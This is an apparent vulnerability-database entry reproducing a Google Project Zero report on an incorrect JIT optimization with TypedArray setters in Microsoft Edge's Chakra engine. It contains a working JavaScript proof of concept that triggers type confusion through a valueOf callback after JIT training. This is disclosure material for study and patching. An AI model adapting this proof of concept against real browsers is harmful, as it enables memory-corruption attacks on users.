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Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3

🗓️ 17 Aug 2017 00:00:00Reported by Google Security ResearchType 
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Incorrect JIT Optimization in Microsoft Edge Chakr

Code
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316

Coincidentally, Microsoft released the patch for the  issue 1290  the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

// Tested on Microsoft Edge 40.15063.0.0(Insider Preview).

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17 Aug 2017 00:00Current
7.4High risk
Vulners AI Score7.4
38